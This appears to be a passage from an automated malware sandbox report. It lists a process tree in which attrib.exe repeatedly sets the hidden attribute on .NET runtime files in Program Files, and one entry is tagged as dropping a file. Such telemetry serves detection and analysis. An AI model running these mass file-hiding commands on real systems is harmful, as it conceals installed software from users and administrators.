    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Net.Primitives.dll"
    3⤵
    PID:4504
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Net.Quic.dll"
    3⤵
    PID:4448
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Net.Requests.dll"
    3⤵
    PID:5568
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Net.Security.dll"
    3⤵
    PID:5372
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Net.ServicePoint.dll"
    3⤵
    PID:5048
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Net.Sockets.dll"
    3⤵
    PID:4304
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Net.WebClient.dll"
    3⤵
    PID:4960
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Net.WebHeaderCollection.dll"
    3⤵
    PID:5148
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Net.WebProxy.dll"
    3⤵
    PID:432
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Net.WebSockets.Client.dll"
    3⤵
    PID:5220
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Net.WebSockets.dll"
    3⤵
    PID:4536
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Numerics.dll"
    3⤵
    PID:5964
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Numerics.Vectors.dll"
    3⤵
    PID:3940
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.ObjectModel.dll"
    3⤵
    PID:5224
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Private.CoreLib.dll"
    3⤵
    PID:4704
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Private.DataContractSerialization.dll"
    3⤵
    PID:2300
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Private.Uri.dll"
    3⤵
    PID:2220
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Private.Xml.dll"
    3⤵
    PID:5124
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Private.Xml.Linq.dll"
    3⤵
    PID:1128
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Reflection.DispatchProxy.dll"
    3⤵
    PID:5676
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Reflection.dll"
    3⤵
    PID:3344
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Reflection.Emit.dll"
    3⤵
    PID:3968
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Reflection.Emit.ILGeneration.dll"
    3⤵
    PID:3576
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Reflection.Emit.Lightweight.dll"
    3⤵
    PID:4084
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Reflection.Extensions.dll"
    3⤵
    PID:5668
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Reflection.Metadata.dll"
    3⤵
    PID:4856
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Reflection.Primitives.dll"
    3⤵
    PID:1960
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Reflection.TypeExtensions.dll"
    3⤵
    PID:2884
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Resources.Reader.dll"
    3⤵
    PID:2032
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Resources.ResourceManager.dll"
    3⤵
    PID:2000
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Resources.Writer.dll"
    3⤵
    PID:4340
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Runtime.CompilerServices.Unsafe.dll"
    3⤵
    PID:1564
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Runtime.CompilerServices.VisualC.dll"
    3⤵
    PID:428
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Runtime.dll"
    3⤵
    PID:3272
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Runtime.Extensions.dll"
    3⤵
    PID:2092
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Runtime.Handles.dll"
    3⤵
    PID:1436
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Runtime.InteropServices.dll"
    3⤵
    PID:2716
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Runtime.InteropServices.JavaScript.dll"
    3⤵
    PID:5740
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Runtime.InteropServices.RuntimeInformation.dll"
    3⤵
    PID:2524
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Runtime.Intrinsics.dll"
    3⤵
    PID:4848
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Runtime.Loader.dll"
    3⤵
    PID:6076
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Runtime.Numerics.dll"
    3⤵
    PID:2920
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Runtime.Serialization.dll"
    3⤵
    PID:5412
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Runtime.Serialization.Formatters.dll"
    3⤵
    PID:3280
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Runtime.Serialization.Json.dll"
    3⤵
    PID:2308
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Runtime.Serialization.Primitives.dll"
    3⤵
    PID:2684
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Runtime.Serialization.Xml.dll"
    3⤵
    PID:4720
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Security.AccessControl.dll"
    3⤵
    PID:5252
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Security.Claims.dll"
    3⤵
    PID:4852
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Security.Cryptography.Algorithms.dll"
    3⤵
    PID:4868
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Security.Cryptography.Cng.dll"
    3⤵
    - Drops file in Program Files directory
    PID:2472
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Security.Cryptography.Csp.dll"
    3⤵
    PID:1392
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Security.Cryptography.dll"
    3⤵
    PID:800
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Security.Cryptography.Encoding.dll"
    3⤵
    PID:5360
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Security.Cryptography.OpenSsl.dll"
    3⤵
    PID:4260
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Security.Cryptography.Primitives.dll"
    3⤵
    PID:5320
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Security.Cryptography.X509Certificates.dll"
    3⤵
    PID:4976
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Security.dll"
    3⤵
    PID:5036
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Security.Principal.dll"
    3⤵
    PID:3872
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Security.Principal.Windows.dll"
    3⤵
    PID:1124
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Security.SecureString.dll"
    3⤵
    PID:4952
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.ServiceModel.Web.dll"
    3⤵
    PID:2280
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.ServiceProcess.dll"
    3⤵
    PID:5952
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Text.Encoding.CodePages.dll"
    3⤵
    PID:2428
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Text.Encoding.dll"
    3⤵
    PID:3400
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Text.Encoding.Extensions.dll"
    3⤵
    PID:3984
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Text.Encodings.Web.dll"
    3⤵
    PID:4360
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Text.Json.dll"
    3⤵
    PID:2788
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Text.RegularExpressions.dll"
    3⤵
    PID:2312
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Threading.Channels.dll"
    3⤵
    PID:5212
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Threading.dll"
    3⤵
    PID:4672
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Threading.Overlapped.dll"
    3⤵
    PID:5608
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Threading.Tasks.Dataflow.dll"
    3⤵
    PID:4532
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Threading.Tasks.dll"
    3⤵
    PID:6088
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Threading.Tasks.Extensions.dll"
    3⤵
    PID:1644
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Threading.Tasks.Parallel.dll"
    3⤵
    PID:2212
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Threading.Thread.dll"
    3⤵
    PID:5600
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Threading.ThreadPool.dll"
    3⤵
    PID:3412
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Threading.Timer.dll"
    3⤵
    PID:4580
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Transactions.dll"
    3⤵
    PID:5336
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Transactions.Local.dll"
    3⤵
    PID:988
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.ValueTuple.dll"
    3⤵
    PID:3224
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Web.dll"
    3⤵
    PID:416
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Web.HttpUtility.dll"
    3⤵
    PID:2040
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Windows.dll"
    3⤵
    PID:176
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Xml.dll"
    3⤵
    PID:2624
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Xml.Linq.dll"
    3⤵
    PID:3068
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Xml.ReaderWriter.dll"
    3⤵
    PID:3740
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Xml.Serialization.dll"
    3⤵
    PID:5112
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Xml.XDocument.dll"
    3⤵
    PID:6072
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Xml.XmlDocument.dll"
    3⤵
    PID:1000
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Xml.XmlSerializer.dll"
    3⤵
    PID:3528
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Xml.XPath.dll"
    3⤵
    PID:388
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Xml.XPath.XDocument.dll"
    3⤵
    PID:5860
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\WindowsBase.dll"
    3⤵
    PID:5796
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\.version"
    3⤵
    PID:2736
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\clretwrc.dll"
    3⤵
    PID:5164
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\clrgc.dll"
    3⤵
    PID:5808
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\clrjit.dll"
    3⤵
    PID:1832
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\coreclr.dll"
    3⤵
    PID:1120
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\createdump.exe"
    3⤵
    PID:4908
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\hostpolicy.dll"
    3⤵
    PID:3360
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\Microsoft.CSharp.dll"
    3⤵
    PID:5696
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\Microsoft.DiaSymReader.Native.amd64.dll"
    3⤵
    PID:1792
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\Microsoft.NETCore.App.deps.json"
    3⤵
    PID:5396
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\Microsoft.NETCore.App.runtimeconfig.json"
    3⤵
    PID:1468
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\Microsoft.VisualBasic.Core.dll"
    3⤵
    PID:5296
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\Microsoft.VisualBasic.dll"
    3⤵
    PID:1212
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\Microsoft.Win32.Primitives.dll"
    3⤵
    PID:4784
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\Microsoft.Win32.Registry.dll"
    3⤵
    PID:5448
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\mscordaccore.dll"
    3⤵
    PID:5492
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\mscordaccore_amd64_amd64_8.0.1525.16413.dll"
    3⤵
    PID:1920
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\mscordbi.dll"
    3⤵
    PID:5248
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\mscorlib.dll"
    3⤵
    PID:5936
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\mscorrc.dll"
    3⤵
    PID:2592
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\msquic.dll"
    3⤵
    PID:112
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\netstandard.dll"
    3⤵
    PID:232
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.AppContext.dll"
    3⤵
    PID:5032
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Buffers.dll"
    3⤵
    PID:1788
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Collections.Concurrent.dll"
    3⤵
    PID:2824
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Collections.dll"
    3⤵
    PID:4116
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Collections.Immutable.dll"
    3⤵
    PID:5168
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Collections.NonGeneric.dll"
    3⤵
    PID:5588
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Collections.Specialized.dll"
    3⤵
    PID:2156
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.ComponentModel.Annotations.dll"
    3⤵
    PID:5572
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.ComponentModel.DataAnnotations.dll"
    3⤵
    PID:6108
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.ComponentModel.dll"
    3⤵
    PID:1608
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.ComponentModel.EventBasedAsync.dll"
    3⤵
    PID:4980
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.ComponentModel.Primitives.dll"
    3⤵
    PID:4548
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.ComponentModel.TypeConverter.dll"
    3⤵
    PID:1076
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Configuration.dll"
    3⤵
    PID:4940
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Console.dll"
    3⤵
    PID:620
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Core.dll"
    3⤵
    PID:5044
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Data.Common.dll"
    3⤵
    PID:4712
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Data.DataSetExtensions.dll"
    3⤵
    PID:3428
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Data.dll"
    3⤵
    PID:5512
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Diagnostics.Contracts.dll"
    3⤵
    PID:4620
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Diagnostics.Debug.dll"
    3⤵
    PID:5048
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Diagnostics.DiagnosticSource.dll"
    3⤵
    PID:5560
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Diagnostics.FileVersionInfo.dll"
    3⤵
    PID:5852
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Diagnostics.Process.dll"
    3⤵
    PID:2304
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Diagnostics.StackTrace.dll"
    3⤵
    PID:3728
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\System.Diagnostics.TextWriterTraceListener.dll"
    3⤵
    PID:2340
- - C:\Windows\system32\attrib.exe
